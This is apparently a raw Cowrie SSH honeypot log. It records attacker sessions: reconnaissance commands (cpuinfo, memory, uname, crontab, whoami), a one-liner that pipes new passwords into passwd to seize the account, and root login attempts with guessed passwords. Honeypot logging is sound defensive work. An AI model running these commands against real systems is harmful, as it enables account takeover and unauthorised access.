{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:02.622636Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:03.103103Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:03.381113Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin123\\nGmVzNXUzpxm9\\nGmVzNXUzpxm9\"|passwd|bash","message":"CMD: echo -e \"adminadmin123\\nGmVzNXUzpxm9\\nGmVzNXUzpxm9\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:03.383816Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:03.386495Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:03.388819Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4dd3ee7362dc94b91cf4040ccc886cbc2f07e81b1af117affab130d1f0c85798","size":32,"shasum":"4dd3ee7362dc94b91cf4040ccc886cbc2f07e81b1af117affab130d1f0c85798","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/4dd3ee7362dc94b91cf4040ccc886cbc2f07e81b1af117affab130d1f0c85798 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:03.870390Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:04.155927Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin123\\nGmVzNXUzpxm9\\nGmVzNXUzpxm9\\n\"|passwd","message":"CMD: echo \"adminadmin123\\nGmVzNXUzpxm9\\nGmVzNXUzpxm9\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:04.158162Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/03764a52830362650402893446b2264dde5216d56fecc8a43741e8700d5d2477","size":25,"shasum":"03764a52830362650402893446b2264dde5216d56fecc8a43741e8700d5d2477","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/03764a52830362650402893446b2264dde5216d56fecc8a43741e8700d5d2477 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:04.638308Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:04.922338Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:04.924340Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:05.403236Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:05.693245Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:05.695834Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:06.183527Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:06.455647Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:06.457608Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:06.459323Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:06.982660Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:07.267978Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:07.270314Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:07.750029Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.041249Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.043096Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.523256Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.804111Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.806661Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":45266,"dst_ip":"159.203.135.109","dst_port":22,"session":"0453ee7decfc","protocol":"ssh","message":"New connection: 62.133.62.83:45266 (159.203.135.109:22) [session: 0453ee7decfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.932128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.935027Z","src_ip":"62.133.62.83","session":"0453ee7decfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56958,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae93e31c76e3","protocol":"ssh","message":"New connection: 8.210.75.243:56958 (10.17.0.5:22) [session: ae93e31c76e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:08.939826Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:09.012297Z","src_ip":"62.133.62.83","session":"0453ee7decfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"080891","message":"login attempt [root/080891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:09.246440Z","src_ip":"62.133.62.83","session":"0453ee7decfc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:09.286984Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:09.575920Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:09.578728Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:10.059170Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:10.347423Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:10.350035Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:10.356028Z","src_ip":"62.133.62.83","session":"0453ee7decfc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:10.831723Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:11.127918Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:11.130557Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:11.609829Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:11.907670Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:11.911149Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:12.392179Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:12.684657Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:12.687350Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.168712Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.460265Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.462932Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":58812,"dst_ip":"10.17.0.5","dst_port":22,"session":"402cced1de7c","protocol":"ssh","message":"New connection: 152.53.185.81:58812 (10.17.0.5:22) [session: 402cced1de7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.730731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.734912Z","src_ip":"152.53.185.81","session":"402cced1de7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.823791Z","src_ip":"152.53.185.81","session":"402cced1de7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:13.943735Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:14.230516Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:14.233401Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaixin123","message":"login attempt [root/kaixin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:14.239640Z","src_ip":"152.53.185.81","session":"402cced1de7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:14.485169Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:14.490672Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:15.329385Z","src_ip":"152.53.185.81","session":"402cced1de7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2491,"dst_ip":"159.203.135.109","dst_port":22,"session":"05f728c56f23","protocol":"ssh","message":"New connection: 196.188.93.169:2491 (159.203.135.109:22) [session: 05f728c56f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:15.745562Z"}
